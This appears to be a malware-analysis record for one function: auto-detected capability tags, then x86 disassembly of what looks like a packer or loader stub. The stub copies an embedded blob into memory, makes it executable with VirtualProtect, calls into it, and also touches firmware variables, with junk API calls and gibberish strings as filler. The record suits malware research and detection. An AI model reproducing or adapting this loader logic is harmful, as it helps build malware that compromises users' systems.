Function at 0x40af10
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b38b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x105c
call fcn.0040a960
mov eax, dword [0x459030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push esi
push edi
mov eax, dword [0x459030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov ecx, dword [0x2c39264]
cmp ecx, 0x7c
jne 0x40afac
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0x2c39264]
cmp ecx, 0x2d
jne 0x40afae
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ecx, dword [0x2c39264]
jmp 0x40afae
xor ebx, ebx
mov edx, dword [0x45ad84]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x1c3
jne 0x40afcd
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40afe1
mov dword [0x45ba18], edi
mov dword [0x45ba1c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40afc0
mov dword [0x2c39264], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b003
mov eax, dword [0x459f68]
mov dword [0x2c39268], eax
cmp ecx, 0x3c
jne 0x40b019
push str.wawopu
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov ecx, dword [0x2c39264]
inc esi
cmp esi, 0x5f6c74
jl 0x40aff1
cmp ecx, 0x110a
jne 0x40b166
push ebx
mov dword [0x2c39130], ebx
mov dword [0x2c39134], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.cugibiguguyohuli_xafedihemohisoxikabepixeduhivi_yohememejowogucujikutokiwe_nebobusipetucewid_xowuyasidedutumatevaxuzanayuxuh
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401189
push ebx
push ebx
call fcn.00401189
push 0x30
push 0x4571b4
push str._s__c
push 0x45b990
call fcn.00401307
push 4
call fcn.00401443
add esp, 0x24
cmp eax, ebx
je 0x40b0c6
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b0c8
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401189
push 0x4571b4
push 0x45b990
call fcn.00401307
push ebx
call fcn.004012f0
mov eax, dword [esp + 0x3c]
add esp, 0x14
cmp eax, ebx
je 0x40b147
mov edi, dword [esp + 0x2c]
cmp eax, edi
je 0x40b13e
lea esi, [eax + 0x18]
lea ebx, [ebx]
cmp dword [esi], 8
jb 0x40b121
mov edx, dword [esi - 0x14]
push edx
call fcn.004013cc
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b110
mov eax, dword [esp + 0x28]
push eax
call fcn.004013cc
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.004013cc
mov ecx, dword [0x2c39264]
add esp, 4
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor esi, esi
mov dword [0x2c38f88], eax
cmp dword [0x2c39264], ebx
jbe 0x40b1d4
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
jmp 0x40b190
mov eax, dword [0x2c39268]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2c38f88]
mov byte [eax + esi], dl
cmp dword [0x2c39264], 0x5ab
jne 0x40b1cb
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.webujonijidetebeyujaxuzecuve
call edi
inc esi
cmp esi, dword [0x2c39264]
jb 0x40b190
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2c39264]
mov eax, dword [0x2c38f88]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040ae80
mov ecx, dword [0x2c38f88]
xor eax, eax
cmp eax, 0xbd9cb
jne 0x40b213
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b206
mov edi, dword [esp + 0x44]
mov dword [0x2c38f88], ecx
xor esi, esi
jmp 0x40b230
lea ecx, [esp + 0x864]
push ecx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp esi, 0x1a01e
jle 0x40b24e
cmp edi, 0xf5bed7
jne 0x40b257
inc esi
cmp esi, 0x1ece7a52
jl 0x40b230
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2c39264], 0xcc1
jne 0x40b28c
push 0
push 0
push str.cozoyor
push str.cufifopepivucehogezubogayes_piwuyatibeyitocogazuyav_rasutigaz_hegoteziferewih
call esi
cmp dword [0x2c39264], 0x7c4
mov dword [0x2c38f8c], ebx
jne 0x40b2a4
push 0
push 0
call edi
sub dword [esp + 0x10], 1
jne 0x40b270
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret